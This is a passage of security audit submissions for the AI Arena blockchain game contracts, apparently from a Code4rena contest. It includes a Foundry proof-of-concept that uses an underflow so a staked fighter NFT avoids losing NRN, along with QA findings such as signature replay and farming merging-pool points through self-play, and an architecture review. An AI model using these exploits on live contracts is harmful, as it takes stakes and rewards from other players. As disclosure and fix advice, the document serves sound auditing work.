accumulatedPointsPerFighter[tokenId][roundId] -= points; @> accumulatedPointsPerAddress[fighterOwner][roundId] -= points; totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { ... } } }
This error can be used to prevent the loss of points below a certain number, regardless of how much you lose in the game, and thus prevent the loss of staking tokens.
accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
and updateBattleRecord
is reverted. Token 1 can no longer lose points.
This is PoC. Add it to RankedBattle.t.sol and run it. NFTs with remaining points can be moved using the safeTransferFrom(address,address,uint256,bytes) function.
function testPoCNoStakingLossNFT() public { address attacker = vm.addr(3); address attacker2 = vm.addr(4); _mintFromMergingPool(attacker); _mintFromMergingPool(attacker2); uint8 tokenId_0 = 0; uint8 tokenId_1 = 1; _fundUserWith4kNeuronByTreasury(attacker); _fundUserWith4kNeuronByTreasury(attacker2); // attacker win battle(get point) vm.prank(attacker); _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId_0); assertEq(_rankedBattleContract.amountStaked(tokenId_0), 3_000 * 10 ** 18); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_0, 50, 0, 1500, true); // win game (get point) uint256 beforePoint = _rankedBattleContract.accumulatedPointsPerAddress(attacker, 0); // attacker2 staked vm.prank(attacker2); _rankedBattleContract.stakeNRN(1, tokenId_1); assertEq(_rankedBattleContract.amountStaked(tokenId_1), 1); // attacker2 win game, get points vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_1, 50, 0, 1500, true); // win game (attacker2 get point) // transfer token with point vm.prank(attacker2); _fighterFarmContract.safeTransferFrom(attacker2, attacker, tokenId_1, ""); // can transfer staked NFT with safeTransferFrom(address,address,uint256,bytes) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_1, 50, 2, 1500, true); // lose game with tokenId_1 // The victim loses points uint256 afterPoint = _rankedBattleContract.accumulatedPointsPerAddress(attacker, 0); assertLt(afterPoint, beforePoint); assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId_1, 0), 0); // token 1 point 0 // now you don't lose staking even if you lose with token 0 vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow) vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(tokenId_0, 50, 2, 1500, true); // lose game with token 0 }
Manual Review
Prevent NFTs with accumulatedPointsPerFighter
left for this round from moving.
Other
#0 - c4-pre-sort
2024-02-25T16:18:39Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T16:18:51Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-judge
2024-03-12T04:01:25Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-12T04:03:31Z
HickupHH3 changed the severity to 2 (Med Risk)
#4 - c4-judge
2024-03-13T10:46:49Z
HickupHH3 marked the issue as partial-50
🌟 Selected for report: givn
Also found by: 0x11singh99, 0xAkira, 0xBinChook, 0xDetermination, 0xMosh, 0xStriker, 0xmystery, 14si2o_Flint, 7ashraf, Aamir, AlexCzm, BARW, Bauchibred, BenasVol, BigVeezus, Blank_Space, Bube, DarkTower, DeFiHackLabs, EagleSecurity, KmanOfficial, Krace, McToady, MrPotatoMagic, PetarTolev, Rolezn, SHA_256, SpicyMeatball, Tekken, Timenov, ZanyBonzy, agadzhalov, alexzoid, boredpukar, btk, cartlex_, dimulski, forkforkdog, haxatron, immeas, jesjupyter, juancito, kartik_giri_47538, klau5, lsaudit, merlinboii, nuthan2x, offside0011, oualidpro, peter, radev_sw, rekxor, rspadi, shaflow2, shaka, swizz, vnavascues, yotov721, yovchev_yoan
8.8123 USDC - $8.81
Unnecessary duplicate code exists. More gas is used during deployment.
attributeProbabilities
is initialized by addAttributeProbabilities
, but at below, it does same initialization again.
constructor(uint8[][] memory probabilities) { _ownerAddress = msg.sender; // Initialize the probabilities for each attribute @> addAttributeProbabilities(0, probabilities); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { @> attributeProbabilities[0][attributes[i]] = probabilities[i]; attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i]; } } function addAttributeProbabilities(uint256 generation, uint8[][] memory probabilities) public { require(msg.sender == _ownerAddress); require(probabilities.length == 6, "Invalid number of attribute arrays"); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { @> attributeProbabilities[generation][attributes[i]] = probabilities[i]; } }
Manual Review
constructor(uint8[][] memory probabilities) { _ownerAddress = msg.sender; // Initialize the probabilities for each attribute addAttributeProbabilities(0, probabilities); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { - attributeProbabilities[0][attributes[i]] = probabilities[i]; attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i]; } }
If admin accidentally set it to 0, NFT minting and rerolls will not work.
attributeToDnaDivisor
must not be set to 0 because it is used for division, so the addAttributeDivisor
function that sets this value needs to check that the new attributeDivisors
are non-zero.
Manual Review
function addAttributeDivisor(uint8[] memory attributeDivisors) external { require(msg.sender == _ownerAddress); require(attributeDivisors.length == attributes.length); uint256 attributesLength = attributes.length; for (uint8 i = 0; i < attributesLength; i++) { + require(attributeDivisors[i] > 0); attributeToDnaDivisor[attributes[i]] = attributeDivisors[i]; } }
Querying a tokenURI for a tokenId that doesn't exist will not revert.
In the FighterFarm.tokenURI
function, it does not revert even if the tokenId
has not yet been minted. The ERC721 specification recommends to revert if the tokenId is not exist.
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension /// @dev See https://eips.ethereum.org/EIPS/eip-721 /// Note: the ERC-165 identifier for this interface is 0x5b5e139f. interface ERC721Metadata /* is ERC721 */ { /// @notice A descriptive name for a collection of NFTs in this contract function name() external view returns (string _name); /// @notice An abbreviated name for NFTs in this contract function symbol() external view returns (string _symbol); /// @notice A distinct Uniform Resource Identifier (URI) for a given asset. @> /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC /// 3986. The URI may point to a JSON file that conforms to the "ERC721 /// Metadata JSON Schema". function tokenURI(uint256 _tokenId) external view returns (string); }
Manual Review
function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) { + require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _tokenURIs[tokenId]; }
getAllFighterInfo
: generation type mismatchgeneration
is implicitly type-cast.
The FighterOps.viewFighterInfo
function returns generation
as a uint16 type. However, generation
is a uint8. Therefore, implicit type casting occurs.
struct Fighter { uint256 weight; uint256 element; FighterPhysicalAttributes physicalAttributes; uint256 id; string modelHash; string modelType; @> uint8 generation; uint8 iconsType; bool dendroidBool; } function viewFighterInfo( Fighter storage self, address owner ) public view returns ( address, uint256[6] memory, uint256, uint256, string memory, string memory, @> uint16 ) { return ( owner, getFighterAttributes(self), self.weight, self.element, self.modelHash, self.modelType, @> self.generation ); }
Also, FighterFarm.getAllFighterInfo
, which uses FighterOps.viewFighterInfo
, has the same issue.
function getAllFighterInfo( uint256 tokenId ) public view returns ( address, uint256[6] memory, uint256, uint256, string memory, string memory, @> uint16 ) { @> return FighterOps.viewFighterInfo(fighters[tokenId], ownerOf(tokenId)); }
Manual Review
Modify FighterOps.viewFighterInfo
function viewFighterInfo( Fighter storage self, address owner ) public view returns ( address, uint256[6] memory, uint256, uint256, string memory, string memory, - uint16 + uint8 ) { return ( owner, getFighterAttributes(self), self.weight, self.element, self.modelHash, self.modelType, self.generation ); }
And modify FighterFarm.getAllFighterInfo
function getAllFighterInfo( uint256 tokenId ) public view returns ( address, uint256[6] memory, uint256, uint256, string memory, string memory, - uint16 + uint8 ) { return FighterOps.viewFighterInfo(fighters[tokenId], ownerOf(tokenId)); }
If there are duplicate addresses in recipients
, the account will not receive some amount.
If there are duplicate addresses in recipients
, allowance is overwritten so that only the amounts later in the array are accepted.
function setupAirdrop(address[] calldata recipients, uint256[] calldata amounts) external { require(isAdmin[msg.sender]); require(recipients.length == amounts.length); uint256 recipientsLength = recipients.length; for (uint32 i = 0; i < recipientsLength; i++) { @> _approve(treasuryAddress, recipients[i], amounts[i]); } }
Manual Review
Check for address duplicates in setupAirdrop
, or add the additional amount to the existing allowance.
If you deploy a FighterFarm on a different chain, user can reuse the signature.
In claimFighters
, the signature does not include the chainId, so if you deploy a FighterFarm on a different chain, user can reuse the signature.
function claimFighters( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata modelHashes, string[] calldata modelTypes ) external { @> bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1] ))); @> require(Verification.verify(msgHash, signature, _delegatedAddress)); ... }
Manual Review
Use ERC712 to prevent signature reuse on other chains.
The allowance is no longer type(uint256).max, causing the allowance to be updated every time the user moves the token by transferFrom
. This consumes additional gas.
In general, if the allowance is set to type(uint256).max, do not modify the allowance. This is the code from Openzeppelin. You can see that it only modifies the allowance when currentAllowance != type(uint256).max
.
function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); @> _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); @> if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } }
However, the burnFrom
function modifies the allowance without checking type(uint256).max. Because of this, the allowance is no longer type(uint256).max, and the user has to update the allowance every time the token is moved by transferFrom
. This consumes additional gas.
function burnFrom(address account, uint256 amount) public virtual { require( @> allowance(account, msg.sender) >= amount, "ERC20: burn amount exceeds allowance" ); uint256 decreasedAllowance = allowance(account, msg.sender) - amount; _burn(account, amount); @> _approve(account, msg.sender, decreasedAllowance); }
Manual Review
function burnFrom(address account, uint256 amount) public virtual { require( allowance(account, msg.sender) >= amount, "ERC20: burn amount exceeds allowance" ); uint256 decreasedAllowance = allowance(account, msg.sender) - amount; _burn(account, amount); - _approve(account, msg.sender, decreasedAllowance); + _spendAllowance(account, msg.sender, amount); }
Using unnecessary parameters.
You don't need to include the bytes("random")
parameter when calling _mint
. It's just use more gas and no purpose.
function mint(uint256 tokenId, uint256 quantity) external { ... if (success) { ... @> _mint(msg.sender, tokenId, quantity, bytes("random")); emit BoughtItem(msg.sender, tokenId, quantity); } }
Manual Review
function mint(uint256 tokenId, uint256 quantity) external { ... if (success) { ... - _mint(msg.sender, tokenId, quantity, bytes("random")); + _mint(msg.sender, tokenId, quantity, ""); emit BoughtItem(msg.sender, tokenId, quantity); } }
Changed NFT attributes are not automatically updated on secondary markets.
When minting or rerolling an NFT and its attributes have changed, you can request to update the metadata of the secondary market, such as OpenSea, by generating an event using ERC4906.
https://docs.opensea.io/docs/metadata-standards#metadata-updates
Manual Review
Use ERC4906.
There is no way to recover when the owner is set incorrectly by mistake.
In every contract that uses owner authority, the owner changes immediately upon request at transferOwnership
.
function transferOwnership(address newOwnerAddress) external { require(msg.sender == _ownerAddress); _ownerAddress = newOwnerAddress; }
There is no way to recover if you mistakenly transfer owner authority to the wrong account. If you use a 2-step owner, you can prevent such mistakes because you have to make a contract call with the new owner account and confirm to transfer the owner authority.
Manual Review
Use Ownable2Step.
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.5/contracts/access/Ownable2Step.sol
If the owner's private key is leaked, it's possible to change the address of important contracts, which can cause serious problems.
Initialization functions can be called multiple times. This means that the owner has too much authority. If the owner's private key is leaked, it's possible to change the address of important contracts, which can cause serious problems.
function instantiateNeuronContract(address neuronAddress) external { require(msg.sender == _ownerAddress); _neuronInstance = Neuron(neuronAddress); }
It would be better to prevent variables that do not need to be changed after initialization from being modified by only allowing them to be called once.
Manual Review
Initialize variable once which don’t need to be changed after initialization.
function instantiateNeuronContract(address neuronAddress) external { require(msg.sender == _ownerAddress); + require(_neuronInstance == address(0)); _neuronInstance = Neuron(neuronAddress); }
Using _setupRole
for the purpose of grantRole
is deprecated and _setupRole
should only be used at initialization. Because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address.
When using AccessControl, you have to set the DEFAULT_ADMIN_ROLE or each role's admin and use the grantRole
function to set roles. Using _setupRole
for the purpose of grantRole
is deprecated and _setupRole
should only be used at initialization.
/** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * May emit a {RoleGranted} event. * @> * [WARNING] * ==== @> * This function should only be called from the constructor when setting * up the initial roles for the system. * @> * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * @> * NOTE: This function is deprecated in favor of {_grantRole}. */
In addition, because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address when it is changed to a new Minter/Staker/Spender in the future.
Manual Review
Set the DEFAULT_ADMIN_ROLE in the constructor. Don't use _setupRole
in the addMinter
, addStaker
, addSpender
functions, use grantRole
instead.
globalStakedAmount
has an incorrect value.
When tokens are moved to the StakeAtRisk contract or from the StakeAtRisk contract due to winning or losing in the game, amountStaked
is updated but globalStakedAmount
is not updated.
Manual Review
Update globalStakedAmount
when tokens transfered to the StakeAtRisk contract or from the StakeAtRisk contract.
There is no deflation logic for NRN. If the NRN token reaches its maximum, users can no longer claim game rewards.
NRN tokens can be minted up to 1 billion. At the time of token deployed, 700 million tokens are minted, so an additional 300 million can be minted.
uint256 public constant MAX_SUPPLY = 10**18 * 10**9; uint256 public constant INITIAL_TREASURY_MINT = 10**18 * 10**8 * 2; uint256 public constant INITIAL_CONTRIBUTOR_MINT = 10**18 * 10**8 * 5; constructor(address ownerAddress, address treasuryAddress_, address contributorAddress) ERC20("Neuron", "NRN") { _ownerAddress = ownerAddress; treasuryAddress = treasuryAddress_; isAdmin[_ownerAddress] = true; @> _mint(treasuryAddress, INITIAL_TREASURY_MINT); @> _mint(contributorAddress, INITIAL_CONTRIBUTOR_MINT); } function mint(address to, uint256 amount) public virtual { @> require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply"); require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint"); _mint(to, amount); }
Rest of tokens are minted as game rewards, and the number of rewards per round can be changed.
function claimNRN() external { require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period"); uint256 claimableNRN = 0; uint256 nrnDistribution; uint32 lowerBound = numRoundsClaimed[msg.sender]; for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) { @> nrnDistribution = getNrnDistribution(currentRound); @> claimableNRN += ( accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution ) / totalAccumulatedPoints[currentRound]; numRoundsClaimed[msg.sender] += 1; } if (claimableNRN > 0) { amountClaimed[msg.sender] += claimableNRN; @> _neuronInstance.mint(msg.sender, claimableNRN); emit Claimed(msg.sender, claimableNRN); } } function setRankedNrnDistribution(uint256 newDistribution) external { require(isAdmin[msg.sender]); @> rankedNrnDistribution[roundId] = newDistribution * 10**18; } function getNrnDistribution(uint256 roundId_) public view returns(uint256) { @> return rankedNrnDistribution[roundId_]; }
However, the tokenomics do not include NRN burn or deflation measures. If the NRN token reaches its maximum, users can no longer claim game rewards. Also, if the token supply only increases, the value of the token will gradually decrease. In order for the reward to be valuable, NRN tokens must be regularly burnt.
Manual Review
Add a logic to regularly burn NRN tokens through fees etc.
If the sum of the user's existing holdings and the number of NFTs being minted exceeds 10, the transaction will revert.
The recipient can own a maximum of 10 NFTs. If they already own the maximum number, they cannot mint any more.
uint8 public constant MAX_FIGHTERS_ALLOWED = 10; function _createNewFighter( address to, uint256 dna, string memory modelHash, string memory modelType, uint8 fighterType, uint8 iconsType, uint256[2] memory customAttributes ) private { @> require(balanceOf(to) < MAX_FIGHTERS_ALLOWED); ... }
Therefore, claimFighters
or redeemMintPass
can only mint up to 10 tokens. If the sum of the user's existing holdings and the number of NFTs being minted exceeds 10, the transaction will revert. Therefore, we need to check and display an appropriate error message.
Manual Review
function claimFighters( uint8[2] calldata numToMint, bytes calldata signature, string[] calldata modelHashes, string[] calldata modelTypes ) external { bytes32 msgHash = bytes32(keccak256(abi.encode( msg.sender, numToMint[0], numToMint[1], nftsClaimed[msg.sender][0], nftsClaimed[msg.sender][1] ))); require(Verification.verify(msgHash, signature, _delegatedAddress)); uint16 totalToMint = uint16(numToMint[0] + numToMint[1]); + require(totalToMint + balanceOf(to) <= MAX_FIGHTERS_ALLOWED, "exceed MAX_FIGHTERS_ALLOWED"); require(modelHashes.length == totalToMint && modelTypes.length == totalToMint); nftsClaimed[msg.sender][0] += numToMint[0]; nftsClaimed[msg.sender][1] += numToMint[1]; for (uint16 i = 0; i < totalToMint; i++) { _createNewFighter( msg.sender, uint256(keccak256(abi.encode(msg.sender, fighters.length))), modelHashes[i], modelTypes[i], i < numToMint[0] ? 0 : 1, 0, [uint256(100), uint256(100)] ); } } function redeemMintPass( uint256[] calldata mintpassIdsToBurn, uint8[] calldata fighterTypes, uint8[] calldata iconsTypes, string[] calldata mintPassDnas, string[] calldata modelHashes, string[] calldata modelTypes ) external { require( mintpassIdsToBurn.length == mintPassDnas.length && mintPassDnas.length == fighterTypes.length && fighterTypes.length == modelHashes.length && modelHashes.length == modelTypes.length ); + require(mintpassIdsToBurn.length + balanceOf(msg.sender) <= MAX_FIGHTERS_ALLOWED, "exceed MAX_FIGHTERS_ALLOWED"); for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) { require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i])); _mintpassInstance.burn(mintpassIdsToBurn[i]); _createNewFighter( msg.sender, uint256(keccak256(abi.encode(mintPassDnas[i]))), modelHashes[i], modelTypes[i], fighterTypes[i], iconsTypes[i], [uint256(100), uint256(100)] ); } }
Checks unnecessarily.
isSelectionComplete
and roundId
are set atomically and cannot be changed by other functions, so there is no need to check.
function pickWinner(uint256[] calldata winners) external { require(isAdmin[msg.sender]); require(winners.length == winnersPerPeriod, "Incorrect number of winners"); @> require(!isSelectionComplete[roundId], "Winners are already selected"); uint256 winnersLength = winners.length; address[] memory currentWinnerAddresses = new address[](winnersLength); for (uint256 i = 0; i < winnersLength; i++) { currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]); totalPoints -= fighterPoints[winners[i]]; fighterPoints[winners[i]] = 0; } winnerAddresses[roundId] = currentWinnerAddresses; @> isSelectionComplete[roundId] = true; @> roundId += 1; }
Manual Review
function pickWinner(uint256[] calldata winners) external { require(isAdmin[msg.sender]); require(winners.length == winnersPerPeriod, "Incorrect number of winners"); - require(!isSelectionComplete[roundId], "Winners are already selected"); uint256 winnersLength = winners.length; address[] memory currentWinnerAddresses = new address[](winnersLength); for (uint256 i = 0; i < winnersLength; i++) { currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]); totalPoints -= fighterPoints[winners[i]]; fighterPoints[winners[i]] = 0; } winnerAddresses[roundId] = currentWinnerAddresses; isSelectionComplete[roundId] = true; roundId += 1; }
The same tokenId can be picked multiple times in the same round.
The pickWinner
function does not check for duplicates in the winners
parameter. Therefore, the same tokenId can be picked multiple times in the same round.
function pickWinner(uint256[] calldata winners) external { require(isAdmin[msg.sender]); @> require(winners.length == winnersPerPeriod, "Incorrect number of winners"); require(!isSelectionComplete[roundId], "Winners are already selected"); uint256 winnersLength = winners.length; address[] memory currentWinnerAddresses = new address[](winnersLength); @> for (uint256 i = 0; i < winnersLength; i++) { currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]); @> totalPoints -= fighterPoints[winners[i]]; @> fighterPoints[winners[i]] = 0; } winnerAddresses[roundId] = currentWinnerAddresses; isSelectionComplete[roundId] = true; roundId += 1; }
Manual Review
Check for duplicates in winners
.
You can gather points by playing games with your own NFTs. This can increase the probability of winning rewards.
Game points are counted per round, with the winner gaining and the loser losing points. Therefore, even if you play a game between your own NFTs, one side will suffer a loss, so you cannot gain significant benefits.
However, points accumulated in the Merging pool do not decrease even if you lose the game and are not reset even after the round is over. Therefore, by taking turns playing games between your own NFTs and giving wins and losses to each other, you can continuously increase the Merging pool points. If you create a Poor AI, you can manipulate the wins and losses.
function _addResultPoints( uint8 battleResult, uint256 tokenId, uint256 eloFactor, uint256 mergingPortion, address fighterOwner ) private { uint256 stakeAtRisk; uint256 curStakeAtRisk; uint256 points = 0; /// Check how many NRNs the fighter has at risk stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId); /// Calculate the staking factor if it has not already been calculated for this round if (_calculatedStakingFactor[tokenId][roundId] == false) { stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk); _calculatedStakingFactor[tokenId][roundId] = true; } /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; if (battleResult == 0) { /// If the user won the match /// If the user has no NRNs at risk, then they can earn points if (stakeAtRisk == 0) { points = stakingFactor[tokenId] * eloFactor; } /// Divert a portion of the points to the merging pool @> uint256 mergingPoints = (points * mergingPortion) / 100; points -= mergingPoints; @> _mergingPoolInstance.addPoints(tokenId, mergingPoints); ... } else if (battleResult == 2) { /// If the user lost the match /// Do not allow users to lose more NRNs than they have in their staking pool if (curStakeAtRisk > amountStaked[tokenId]) { curStakeAtRisk = amountStaked[tokenId]; } if (accumulatedPointsPerFighter[tokenId][roundId] > 0) { /// If the fighter has a positive point balance for this round, deduct points points = stakingFactor[tokenId] * eloFactor; if (points > accumulatedPointsPerFighter[tokenId][roundId]) { points = accumulatedPointsPerFighter[tokenId][roundId]; } @> accumulatedPointsPerFighter[tokenId][roundId] -= points; @> accumulatedPointsPerAddress[fighterOwner][roundId] -= points; @> totalAccumulatedPoints[roundId] -= points; if (points > 0) { emit PointsChanged(tokenId, points, false); } } else { /// If the fighter does not have any points for this round, NRNs become at risk of being lost bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk); if (success) { _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner); amountStaked[tokenId] -= curStakeAtRisk; } } } }
Manual Review
Decrease the Merging pool points when losing a game.
#0 - raymondfam
2024-02-26T06:04:11Z
Block claimFighters and redeemMintPasses from claiming more than 10: to #216
#1 - c4-pre-sort
2024-02-26T06:04:51Z
raymondfam marked the issue as sufficient quality report
#2 - HickupHH3
2024-03-05T10:38:51Z
#27: L #307: L
#3 - c4-judge
2024-03-11T12:55:29Z
HickupHH3 marked the issue as grade-b
#4 - klau5dev
2024-03-19T14:18:12Z
Thanks for judging, @HickupHH3 !
I believe the following issues could be considered duplicates.
🌟 Selected for report: 0xSmartContract
Also found by: 0xAsen, 0xDetermination, 0xStriker, 0xblack_bird, 0xbrett8571, 0xepley, 0xweb3boy, 14si2o_Flint, Bauchibred, DarkTower, JayShreeRAM, JcFichtner, K42, McToady, Myd, PoeAudits, Rolezn, SAQ, ZanyBonzy, aariiif, albahaca, ansa-zanjbeel, cheatc0d3, clara, cudo, dimulski, fouzantanveer, foxb868, hassanshakeel13, hunter_w3b, kaveyjoe, klau5, peanuts, pipidu83, popeye, rspadi, scokaf, shaflow2, tala7985, wahedtalash77, yongskiws
166.1676 USDC - $166.17
AI Arena is a game that you train your Fighter NFT with AI to battle others. AI training and gameplay take place off-chain, while on the blockchain, Fighter NFT ownership and stats are managed, ERC1155 form items are managed, NRN tokens are staked, game results are registered to earn points and rewards are distributed.
This is a character used in game, implemented with ERC721. Each Fighter's appearance, element, and weight are randomly (pseudo-randomly) determined. A Fighter's abilities are calculated based on weight. The heavier they are, the slower and sturdier they are, and the lighter they are, the faster they are but with reduced durability.
In the 0th generation, there are three types of elements: fire, water, and electricity. These may change as generations increase. Fire is strong against electricity, electricity is strong against water, and water is strong against fire.
Appearance consist of six parts: head, eyes, mouth, body, hands, and feet. Each part is randomly selected and combined for each Fighter. Appearance does not affect abilities.
These are various items used in the game, implemented with ERC1155. Currently, only a battery item exists. The battery is used to charge the voltage needed to start the game. It can be purchased using NRN tokens, and there is a limit to the number of items that can be purchased in 24 hours.
This is an ERC20 token used to purchase game items, reroll Fighter’s attributes, and a ranking reward. If users stake NRN, they can earn game points and ranking rewards.
Gameplay takes place off-chain. Score are also calculated off-chain using the Elo mechanism. Only the game results are registered in the contract through the game server's account. If a user stakes NRN, they can earn points when they win in the game. The more points a user earns, the more NRN rewards they can receive. If a player loses a game while staked, they lose the staked tokens when there are no more points to lose.
10 voltage is consumed each time the game is started. If there is no voltage, the game cannot be started. Voltage is charged to 100 on a 24-hour cycle. User can charge voltage by using a battery item.
The more game points you earn, the higher your chances of receiving a new Fighter NFT as a reward. Some of the points earned in the game are put into the MergingPool to increase the chances of winning. The task of selecting winners is done off-chain, and the administrator registers the winners in the contract.
Stage | Detail |
---|---|
Compile and run test | Clone the repository, install dependencies, set environment and run test. |
Check scope and sort | List the scopes, sorting them in ascending order. Identify core and peripheral logic. |
Read docs | Read code4rena README and docs. Research on who’s sponsors and what’s their goal. Review the sponsor's existing projects, if any. |
Understand core logic | Skim through the code to understand the core logic. |
Manuel Code Review | Read the code line by line to understand the logic. Find bugs due to mistakes. |
Organize logic with writing/drawing | Organize business logic and look for logic bugs. |
Write report, PoC | Write the report and make PoC by using test code. |
This is architecture of the contract. It mainly involves NFT minting and management, staking, game results updates, and game item usage. Major management tasks such as updating the game results, selecting winners, or updating rounds are performed with the administrator EOA account.
The winner of the Merging pool is chosen off-chain and registered by the admin. The winner's information is simply stored in an array, and the user has to inefficiently traverse to check if they've won in order to claim their reward. If the number of winners in the Merging pool is significantly increased, it would be more efficient to use a merkle tree.
This project is highly centralized, so special attention needs to be paid to account management. The administrator can change the address of the main contracts they interact with, can change reward related settings, and can mint new Fighter NFTs.
The protocol is closer to storing data on the contract with an EOA account managed by the team rather than providing decentralized services. As each EOA plays an important role, it is recommended to strengthen security by using a multi sig wallet.
The following roles exist:
Initially, the deployer is set as owner. Owner has the right to set admin, initialize the contract, and change the contract's settings.
Functions that initialize important variables such as instantiateNeuronContract
generally do not need to be called again, but are not blocked from being called again. In other words, the owner has a large authority that can even change the important address variable. To mitigate this, limit the initialization functions to be callable only once.
Also, since it is an account with many authorities, it is better to use a 2 step owner to prevent changing to a wrong address by mistake.
It has the authority to change various settings of the contract. It also has the authority to register winners in the MergingPool. It also has the authority to airdrop the NRN. It performs management tasks such as updating round or updating the amount of rewards.
The Treasury account collects the NRN tokens used for item purchases and rerolls. It also collects the NRN lost by the user in the game. Since the airdrop is in the form of approving treasury’s token to users, the treasury can also be considered to have the authority to airdrop NRN.
Delegated sets the Fighter tokenURI (metadata setting) and signs for minting Fighter tokens. In other words, they have the authority to mint Fighter tokens.
The game server account registers the game results on the contract. The contract fully trusts the Game server account, and because it can distribute rewards based on game point or take away staked tokens, the game server has large authority.
To mitigate the authority of the game server, there is a way to receive the user's signature to upload the game results. If you get a signature from the user who starts the game, you will be able to mitigate the ability of the game server account to freely record game results.
There are three ways to mint Fighter NFTs.
The AAMintPass contract is an ERC721, an NFT that was deployed before FighterFarm. Users can use (burn) their MintPass NFTs to mint an equal number of Fighter NFTs.
User can request NFT minting by receiving a signature from the signer. User can mint NFTs in the quantity allowed by the signature.
Winners of MergingPool are selected and registered by admin every round. Winners can mint NFTs in the number they won. Users can customize the weight and element.
Fighter NFTs have unique attributes. Except reward of MergingPool, these are pseudo-randomly set by DNA values. There are three elements, and weight is set between 65 and 95. FighterFarm generates element and weight, while AiArenaHelper is responsible for generating the appearance attributes.
Users can also reroll attributes by paying NRN tokens. When a reroll is requested, a new DNA is assigned, and the attributes of the NFT are changed to new pseudo-random values. Each NFT has a limit on the number of rerolls, so infinite changes are not possible.
You need to stake NRN tokens to get points when you win. The more you stake and the higher your Elo score, the more points you can get when you win. When the game round ends, you can claim rewards proportional to the points you have. Rewards are provided by minting NRN tokens.
Users can stake or unstake NRN to their own Fighter NFT. If you unstake in this round, you can no longer stake additional. Once staking starts, the relevant Fighter NFT is blocked from transfer, and when it is completely unstaked and there is no more staked amount left, the Fighter NFT is unblocked to enable transfer.
The game server account registers the game results on-chain. If the user who lost the game has staked, the user's points are reduced, and if there are no more points to reduce, n% of the stake is moved to the StakeAtRisk contract each time they lose.
If you won the game, you can retrieve some of the tokens at stake-at-risk. If there are no more stake-at-risk tokens left, you can earn points. If you earn points, some of them are passed to the MergingPool. Points are used as the basis for picking winner in the MergingPool later.
Admin finishs this round and starts the next round. When the round changes, the NRN tokens that went to StakeAtRisk move to the treasury. Since a new round has started, users can no longer recover past round stake-at-risk tokens.
Users can receive rewards proportional to the points earned in the previous round. Rewards are provided by minting new NRN tokens.
The user who started the game uses voltage. Each game start consumes 10 voltage, and after consuming voltage, it is charged (reset) to 100 after 24 hours. This is processed when the game server registers the game results.
Users who have consumed the voltage can use the battery to recharge the voltage. The battery is a game item minted in the form of ERC1155. Used batteries are burned.
The GameItems contract is a contract where users can pay NRN and buy items. Items are minted as ERC1155, and currently, only Battery items exist. In the future, admin can add new items, and users can pay NRN and purchase them. The NRN for purchase is transferred to the Treasury.
Various settings can be set for the item. Admin can limit the number of purchases per day, or limit the total number of sales for limited sales. Through settings, certain items can be made non-transferable, creating non-exchangeable items.
You don't have to be extra cautious about frontrunning because this project uses the Arbitrum chain. However, because the frontend, game server, and blockchain are integrated, special attention needs to be paid to race conditions between off-chain and on-chain. Problems can occur if NFTs move or changes occur in staking while the game is still being processed. Before starting the game, a transaction should be generated to lock the NFT on the blockchain, and it needs to be unlocked when the game ends to prevent race conditions.
